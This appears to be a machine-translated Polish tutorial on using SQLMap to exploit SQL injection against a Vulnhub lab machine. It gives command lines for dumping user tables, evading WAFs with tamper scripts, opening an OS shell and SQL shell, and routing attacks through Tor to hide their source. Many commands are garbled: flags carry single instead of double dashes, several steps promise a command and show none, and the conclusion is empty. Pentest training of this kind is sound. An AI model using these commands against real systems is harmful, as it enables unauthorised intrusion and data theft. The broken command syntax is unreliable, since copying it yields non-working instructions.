Narzędzie SQLMap można znaleźć w skrzynce narzędziowej każdego testera penetracyjnego. Jest to jedno z najpopularniejszych i najpotężniejszych narzędzi do wykorzystania podatności SQL injection, która sama w sobie znajduje się na szczycie listy OWASP Top 10 Vulnerabilities. Od potwierdzenia luki w SQL injection do wydobycia nazwy bazy danych, tabel, kolumn i uzyskania pełnego systemu, może być używany do wielu celów.
W tym artykule, zobaczymy różne rodzaje poleceń SQLMap, które mogą się przydać podczas wykorzystywania różnych scenariuszy SQL injection.
SQLMap można pobrać z następujących linków:
Windows
Linux: git clone -depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
Do celów demonstracyjnych używam tej maszyny z Vulnhuba.
Przyjrzyjmy się podstawowemu użyciu narzędzia SQLMap na żądaniach GET i POST.
sqlmap -u http://site-to-test.com/test.php?id=1 -p id
sqlmap -u http://site-to-test.com/test.php?id=1*
-u: URL do skanowania
-p: parametr do skanowania
*: Parameter to scan (if -p switch is not provided)
POST Request
Możemy przekazać dane przekazywane w treści żądania POST do skanowania przez narzędzie SQLMap.
sqlmap -u http://site-to-test.com/admin/index.php -data=”user=admin&password=admin” -p user
-data = POST data
Innym sposobem jest skopiowanie żądania Burp do pliku i przekazanie go do SQLMap.
sqlmap -r <ścieżka do pliku żądania>
Pójdźmy trochę do przodu, aby zrozumieć inne opcje dostarczane przez narzędzie SQLMap.
Skanowanie stron logowania POST
Strony logowania POST są autoryzowane przez nagłówek cookie, który jest przekazywany w nagłówku HTTP żądania GET/POST. Aby przeskanować strony logowania post, musimy przekazać do SQLMap prawidłowy plik cookie.
sqlmap -u http://192.168.202.163/admin/index.php?id=1 -cookie=”cookie value”
/admin/index.php?id=1 jest stroną logowania post.
Podobnie, wiele stron jest chronionych przez nagłówek User-Agent lub Referrer. To samo możemy zawrzeć w poleceniu:
sqlmap -u http://192.168.202.163/admin/index.php?id=1 -user-agent=infosec
sqlmap -u http://192.168.202.163/admin/index.php?id=1 -referer= http://192.168.202.163/admin/index.php
Dodatkowo możemy randomizować nagłówek user-agent, używając opcji -random-agent.
CRAWL
Crawl jest ważną opcją, która pozwala narzędziu SQLMap na przeszukiwanie strony internetowej, zaczynając od lokalizacji głównej. Głębokość przeszukiwania można zdefiniować w poleceniu.
sqlmap -u http://192.168.202.160/ -crawl=1
-crawl: Zdefiniuj głębokość do indeksowania. (Przykład: Zdefiniowanie 2 pozwoli narzędziu na przeszukanie do dwóch katalogów)
Jeśli chcemy wykluczyć jakąś stronę z zakresu działania crawlera możemy zdefiniować przez -crawl-exclude. Jest to przydatna opcja, gdy przeszukujemy stronę logowania.
sqlmap -u http://192.168.202.163/ -crawl=3 -cookie=”cookie value” -crawl-exclude=”logout”
To polecenie przeszuka witrynę do trzech katalogów i wykluczy wszystkie adresy URL, w których występuje słowo kluczowe „logout”.
Jak widać poniżej, SQLMap przeszukał witrynę, ale wykluczył adres URL logout.
Uruchommy to samo polecenie bez opcji -crawl-exclude:
Jak widać poniżej, gdy opcja -crawl-exclude nie jest zdefiniowana, SQLMap przeczesał adres URL wylogowania. To pozwoliłoby na unieważnienie istniejącej sesji (z powodu wylogowania) i nie ukończenie skanowania.
SQLMap Through Proxy
Możemy zdefiniować szczegóły proxy, z którego pozwalamy na przejście żądania. Jeśli chcemy przekazać żądanie przez narzędzie proxy takie jak Burp, uruchom Burp Suite i skonfiguruj go tak, aby działał na localhost na porcie 8080. Teraz użyj następującego polecenia SQLMap:
sqlmap -u http://192.168.202.162/cat.php?id=1 -p id -proxy=”http://localhost:8080″
Teraz pomyśl o scenariuszu, w którym słowa kluczowe sqlinjection takie jak OrderBy i Union są na czarnej liście na serwerze. Możemy ominąć tego typu implementacje poprzez użycie techniki camel casing. Użyjemy SQLMap do wysłania ruchu do Burpa i użyjemy funkcji „match and replace” Burpa, aby obejść powyższe ograniczenie.
Funkcję Match and Replace można znaleźć w zakładce „Options”, w zakładce „Proxy” Burpa.
Sprawdzi ona, czy żądanie ma słowo kluczowe takie jak „union”. Jeśli tak, to zastąpi je słowem „UnIoN.”
W scenariuszu, w którym aplikacja jest dostępna tylko przez serwer proxy, to samo można zdefiniować za pomocą następującego polecenia:
sqlmap -u http://192.168.202.162/cat.php?id=1 -p id -proxy=”http://localhost:8080″ -proxy-cred=username:password
Batch
Komenda batch jest używana dla sesji nieinteraktywnych. Kiedy próbujemy coś przeskanować, SQLMap może poprosić nas o podanie danych wejściowych podczas skanowania: na przykład, podczas korzystania z funkcji crawl, narzędzie pyta użytkownika, czy chce przeskanować wskazany adres URL. Kiedy -batch jest zdefiniowane w poleceniu, narzędzie używa wartości domyślnej, aby kontynuować bez pytania użytkownika.
Form
Adres URL strony z polem formularza (np. strona logowania) może być podany wraz z opcją -form, aby przetworzyć stronę i poprowadzić użytkownika do przetestowania zidentyfikowanych pól.
Teraz strony z dużą liczbą pól formularza mogą być skutecznie testowane przy użyciu opcji -form i -batch razem. Spowoduje to parsowanie strony i sprawdzenie pól formularzy oraz automatyczne wprowadzenie danych w imieniu użytkownika.
Jeśli cała aplikacja musi zostać przeskanowana, można użyć opcji crawl wraz z form i switch.
Wątki
Opcja wątków pozwala użytkownikowi określić liczbę równoczesnych żądań wysyłanych przez narzędzie SQLMap. Zmniejszy to całkowity czas testowania. Nie należy utrzymywać tej wartości na wyższym poziomie, ponieważ może to wpłynąć na dokładność wyników.
Risk and Level
Risk pozwala na określenie typu payloadów używanych przez narzędzie. Domyślnie używa wartości 1 i może być skonfigurowany aż do poziomu 3. Poziom 3, będący maksymalnym, zawiera kilka ciężkich zapytań SQL.
Poziom definiuje liczbę sprawdzeń/płatności do wykonania. Wartość waha się od 1 do 5. 5, jako maksymalny, zawiera dużą liczbę payloadów w skanowaniu.
Ryzyko i poziom są zalecane do zwiększenia, jeśli SQLMap nie jest w stanie wykryć iniekcji w domyślnych ustawieniach.
Verbose
W przypadku, gdy chcemy zobaczyć payload wysyłany przez narzędzie, możemy użyć opcji verbose. Wartości mieszczą się w zakresie od 1 do 6.
Wyliczanie bazy danych
Jak wiemy, SQLMap jest głównie używana do wykorzystywania SQL injection, zobaczmy niektóre z poleceń do wyliczania bazy danych przez aplikację podatną na SQL injection.
1. -dbs: Ta opcja jest używana do wyliczania bazy danych.
2. Teraz mamy nazwę bazy danych. Aby wyodrębnić tabelę dla bazy danych „photoblog”, wykonaj następujące polecenie:
3. Aby wyodrębnić szczegóły kolumn z tabeli „użytkownicy”, wykonaj następujące polecenie:
4. Aby zrzucić dane z tabeli „użytkownicy”, użyj polecenia -dump:
5. Aby zidentyfikować bieżącego użytkownika bazy danych:
6. Aby zidentyfikować bieżącą nazwę bazy danych:
7. Aby zidentyfikować uprawnienia, role i czy bieżący użytkownik DB jest DB admin:
Bypassing WAF Using Tamper Script
Wiele razy spotykamy się ze scenariuszem, w którym aplikacja jest utrzymywana za zaporą aplikacji internetowych (WAF). Aby sprawdzić, czy witryna jest chroniona przez WAF, możemy użyć następujących opcji:
-identify-waf
Gdy WAF zostanie zidentyfikowany, możemy użyć skryptu tamper do zaatakowania aplikacji chronionych przez WAF. Skrypt tamper może zmodyfikować żądanie tak, aby uniknąć wykrycia przez WAF. Skrypty można znaleźć w katalogu /usr/share/sqlmap/tamper/.
Wykonywanie poleceń systemowych
Możemy uruchamiać polecenia poziomu OS/systemowego, jeśli bieżący użytkownik bazy danych ma prawa DBA. Możemy użyć następujących opcji:
Dla serwera Linux:
sqlmap -u http://192.168.202.162/cat.php?id=1 -os-shell
Dla serwera Windows:
sqlmap -u http://192.168.202.162/cat.php?id=1 -os-cmd <cmd>
Wykonywanie zapytań SQL
Zapis SQL możemy uruchomić na bazie danych wykonując następujące polecenia:
sqlmap -u 192.168.202.164/cat.php?id=2 -sql-shell
Inne opcje
Kilka innych opcji obejmuje:
1. Skanowanie strony chronionej przez uwierzytelnianie HTTP takie jak Basic, NTLM i Digest:
sqlmap -u http://example.com/admin.aspx -auth-type Basic -auth-cred „admin:admin”
2. Skanowanie strony chronionej przez uwierzytelnianie oparte na kluczach
sqlmap -u http://example.com/admin.aspx -auth-file=<ścieżka do pliku certyfikatu PEM lub klucza prywatnego>
3. Aby randomizować atakujące IP (może to pomóc w przypadkach takich jak wykrywanie WAF, lub gdy ukrycie źródła ataku zwiększyłoby trudność w namierzeniu IP).
Aby użyć domyślnej sieci anonimowości Tor:
sqlmap -u http://example.com/admin.aspx -tor
Aby zdefiniować port Tor:
sqlmap -u http://example.com/admin.aspx -tor-port=<tor proxy port>
4. Jeśli wymagane jest opóźnienie między każdym żądaniem HTTP:
sqlmap -u http://example.com/admin.aspx -delay=1 #1 sekunda opóźnienia
5. Jeśli strona jest chroniona przez token CSRF, możemy go uwzględnić w poleceniu:
sqlmap -u http://example.com/admin.aspx -csrf-token=<csrf token>
Second-Order SQL injection: W tym typie SQL injection, ładunek SQL jest przechowywany w bazie danych i pobierany później przy wejściu na inną stronę. Podajemy adres URL, który będzie wywoływany przez narzędzie SQLMap po każdym wstrzyknięciu. Możemy poinstruować narzędzie SQLMap, aby przetestowało to wstrzyknięcie, używając następujących poleceń:
sqlmap -r /root/Desktop/Burp.txt -second-order „http://target/vulnerbalepage.php”
Plik Burp.txt zawiera żądanie, na którym ma zostać wykonane wstrzyknięcie.
-second-order „URL” zawiera adres URL, który będzie otwierany przez SQLMap po każdym wstrzyknięciu.
Wniosek
.